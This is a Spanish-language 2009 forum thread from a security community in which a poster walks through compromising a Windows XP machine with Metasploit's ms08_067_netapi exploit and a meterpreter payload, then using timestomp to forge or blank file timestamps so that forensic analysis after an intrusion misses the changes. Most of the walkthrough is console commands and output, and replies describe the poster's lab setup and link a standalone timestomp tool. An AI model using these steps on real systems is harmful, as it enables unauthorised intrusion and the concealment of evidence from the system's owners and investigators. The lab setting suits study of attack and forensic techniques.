La Comunidad DragonJAR  

Retroceder   La Comunidad DragonJAR > Seguridad > Auditorías / Test de Penetración
Actualizar esta página [Metasploit] Modificación Anti-Forense en Archivos
Registrarse Ayuda Calendario Marcar Foros Como Leídos

¿Qué es La Comunidad DragonJAR?

DragonJAR.org es una comunidad de investigadores, estudiantes, profesionales y entusiastas de la Seguridad Informática, En la cual se busca darle un enfoque eminentemente práctico a la teoría sin olvidar las bases esenciales de esta.

De esta manera se Tratará de ofrecer soluciones útiles a los usuarios, tanto novatos, estudiantes, como a los profesionales e investigadores, Teniendo presente que el mundo de la seguridad informática y la información es un medio que se auto inventa constantemente.

La Comunidad DragonJAR es un espacio abierto y libre para cualquier persona que desee compatir en un ambiente digital sus conocimientos o sus dudas. El registro es gratuito, toma poco tiempo y te permite disfrutar de todas las características del sitio.

Si es tu primera visita, quizás deberías visitar la Ayuda para aprender un poco sobre el uso de los foros, para empezar a ver mensajes, selecciona el foro que quieres visitar de la lista de abajo.

Respuesta
 
LinkBack Herramientas Desplegado
Antiguo 28-Dec-2009, 17:36   #1
Dragonauta Oficial
 
Avatar de Shell Root
 
Fecha de Ingreso: 09-August-2009
Ubicación: LocalHost
Mensajes: 711
Gracias: 2
Agradecido 275 veces en 153 Mensajes
Shell Root llegará a ser famoso muy pronto
Predeterminado [Metasploit] Modificación Anti-Forense en Archivos
Modificación Anti-Forense en Archivos
[Metasploit By: Shell Root]


Ahora lo que me parece muy interesante a la hora de realizar una intrusión en algún Sistema computacional, es la manipulación de archivos. Imaginemos que realizamos una intrusión y por algún motivo modificamos o creamos algún archivo, y no queremos ser detectados por los análisis forenses que se realicen en ese equipo, tendremos que eliminar la fecha de creación y modificación del archivo. Pero como lo hacemos? Entremos que recurrir a nuestro gran amigo, el Metasploit. Miremos un ejemplo:

Primero ingresaremos a la P.C con el exploit:
* exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:
* windows/meterpreter/bind_tcp

Código:
Código:
                __.                       .__.        .__. __.
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_
 /     \_/ __ \   __\__  \  /  ___/\____ \|  |  /  _ \|  \   __\
|  Y Y  \  ___/|  |  / __ \_\___ \ |  |_> >  |_(  <_> )  ||  |
|__|_|  /\___  >__| (____  /____  >|   __/|____/\____/|__||__|
      \/     \/          \/     \/ |__|


       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 18 days hago (2009.12.10)


msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit
[ *] Started bind handler[*] Automatically detecting the target...
[ *] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[ *] Selected Target: Windows XP SP2 Spanish (NX)
[ *] Triggering the vulnerability...
[ *] Sending stage (723456 bytes)
[ *] Meterpreter session 1 opened (192.168.0.2:5747 -> 192.168.0.3:4444)

meterpreter >
Ahora abriremos un canal para obtener la shell (cmd.exe):


Código:
meterpreter > shell
Process 2008 created.
Channel 1 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>
Yá tenemos la shell en nuestro poder, ahora creemos un archivo de ejemplo:


Código:
C:\>echo hola>>hola.txt
echo hola>>hola.txt
Como vemos creamos un archivo llamado hola.txt, el cual contiene la palabra hola. Miremos los datos de Creación, Modificación y ultimo Acceso al Archivo.
Como dice el dicho "...Una imagen vale más que mil palabras...". Les dejo una captura de pantalla con la información del archivo.

Imagen:


Con el metasploit tambien podemos ver esta información. Así:


Código:
meterpreter > pwd
C:\
meterpreter > timestomp hola.txt -v
Modified      : 2009-12-28 15:29:57 -0500
Accessed      : 2009-12-28 15:31:57 -0500
Created       : 2009-12-28 15:29:57 -0500
Entry Modified: 2009-12-28 15:29:57 -0500
meterpreter >
Nota: Antes que nada, nos debemos de situar donde está el archivo o poner la ruta completa. Con ayuda del comando pwd, vemos donde estamos situados actualmente y con ayuda del comando cd %Ruta%, nos situamos dentro del destino deseado.

En esté momento llego la ahora de cambiar los valores de las fechas del archivo. Hay varias partes interesantes, podemos igualar las fechas del archivo recien creado con otro que queramos que esté dentro del sistema. Por ejemplo:

C:\hola.txt


Código:
meterpreter > timestomp hola.txt -v
Modified      : 2009-12-28 15:29:57 -0500
Accessed      : 2009-12-28 15:31:57 -0500
Created       : 2009-12-28 15:29:57 -0500
Entry Modified: 2009-12-28 15:29:57 -0500
C:\httpdocs\index.html


Código:
meterpreter > timestomp C:\\httpdocs\\index.html -v
Modified      : 2009-12-09 22:36:14 -0500
Accessed      : 2009-12-28 15:38:59 -0500
Created       : 2009-12-09 22:36:14 -0500
Entry Modified: 2009-12-09 22:36:14 -0500
meterpreter >
Podemos igualar las fechas del archivo C:\httpdocs\index.html al archivo C:\hola.txt. O tambien intentar cambiar las fechas manualmente. Es decir, ingresar la fecha que nos de la gana... xD

En esté ejemplo veremos el cambio de fechas desde otro archivo. Miramos que opciones tiene el comando timestomp


Código:
meterpreter > timestomp                                

Usage: timestomp file_path OPTIONS

OPTIONS:

    -a <opt>  Set the "last accessed" time of the file
    -b        Set the MACE timestamps so that EnCase shows blanks
    -c <opt>  Set the "creation" time of the file
    -e <opt>  Set the "mft entry modified" time of the file
    -f <opt>  Set the MACE of attributes equal to the supplied file
    -h        Help banner
    -m <opt>  Set the "last written" time of the file
    -r        Set the MACE timestamps recursively on a directory
    -v        Display the UTC MACE values of the file
    -z <opt>  Set all four attributes (MACE) of the file

meterpreter >
Para ello usaremos el parametro -f %ruta_archivo%. Así:


Código:
meterpreter > timestomp C:\\hola.txt -f C:\\httpdocs\\index.html[*] Setting MACE attributes on C:\hola.txt from C:\httpdocs\index.html
meterpreter >
Miremos ahora las fechas del archivo hola.txt.
Actual:


Código:
meterpreter > timestomp C:\\hola.txt -v                         
Modified      : 2009-12-09 22:36:14 -0500
Accessed      : 2009-12-28 15:38:59 -0500
Created       : 2009-12-09 22:36:14 -0500
Entry Modified: 2009-12-09 22:36:14 -0500
meterpreter >
Pasado:


Código:
meterpreter > timestomp hola.txt -v
Modified      : 2009-12-28 15:29:57 -0500
Accessed      : 2009-12-28 15:31:57 -0500
Created       : 2009-12-28 15:29:57 -0500
Entry Modified: 2009-12-28 15:29:57 -0500
Ya hemos cambiado las fechas del archivo C:\hola.txt por las fechas del archivo C:\httpdocs\index.html.

Nota: Con la ejecución del comando timestomp más el parametro -b.


Código:
meterpreter > timestomp C:\\hola.txt -b
[ *] Blanking file MACE attributes on C:\hola.txt
Ponemos la fecha en un rango de fecha (01 de Enero del 1601) aun más dificil para el analizador de archivos.

By: Shell Root
Fuente: Modificación Anti-Forense en Archivos
Video:
__________________
.
.
.
.
"Una vulnerabilidad es tan limitada como tu quieras que sea"
"La vida no es más que una histora de mierda demasiado corta"
Shell Root está desconectado   Responder Citando
Antiguo 29-Dec-2009, 06:41   #2
Recien Nacido
 
Fecha de Ingreso: 22-September-2009
Mensajes: 22
Gracias: 5
Agradecido 0 veces en 0 Mensajes
SOCK_STREAM está en el buen camino
Predeterminado
Muy bueno el video, pero tengo una duda ¿Para hacer los ejemplos que hay en los videos cuantas maquinas virtuales necesitaria tener instaladas?

Saludos!
SOCK_STREAM está desconectado   Responder Citando
Antiguo 29-Dec-2009, 10:28   #3
Dragonauta Oficial
 
Avatar de Shell Root
 
Fecha de Ingreso: 09-August-2009
Ubicación: LocalHost
Mensajes: 711
Gracias: 2
Agradecido 275 veces en 153 Mensajes
Shell Root llegará a ser famoso muy pronto
Predeterminado
Cita:
Iniciado por SOCK_STREAM Ver Mensaje
Muy bueno el video, pero tengo una duda ¿Para hacer los ejemplos que hay en los videos cuantas maquinas virtuales necesitaria tener instaladas?
Yo Tengo:
  • 2 PC Virtual
    • 1 Windows XP SP 2 --> Victíma
    • 1 BackTrack
  • 1 PC Real
    • 1 Windows XP SP 3 --> Atacante
__________________
.
.
.
.
"Una vulnerabilidad es tan limitada como tu quieras que sea"
"La vida no es más que una histora de mierda demasiado corta"
Shell Root está desconectado   Responder Citando
Antiguo 29-Dec-2009, 14:34   #4
Administradores
 
Avatar de DragoN
 
Fecha de Ingreso: 11-August-2008
Ubicación: Manizales
Mensajes: 1.024
Gracias: 424
Agradecido 312 veces en 149 Mensajes
DragoN está en el buen camino
Predeterminado Tambien existe para Windows
Shell Root, recuerda que también} existe una versión para windows del timestomp que no requiere la shell meterpreter de metasploit http://metasploit.com/data/antiforensics/timestomp.exe Los comandos son exactamente iguales
DragoN está desconectado   Responder Citando
Respuesta

Etiquetas
antiforense, archivos, metasploit, modificacion

« Tema Anterior | Próximo Tema »
Herramientas
Desplegado
Mode Lineal Mode Lineal

Normas de Publicación
No puedes crear nuevos temas
No puedes responder mensajes
No puedes subir archivos adjuntos
No puedes editar tus mensajes
Los Códigos BB están Activado
Las Caritas están Activado
[IMG] está Activado
El Código HTML está Desactivado
Trackbacks are Activado
Pingbacks are Activado
Refbacks are Activado


La franja horaria es GMT -6. Ahora son las 03:11.

Contáctenos - La Comunidad DragonJAR - Archivo - Arriba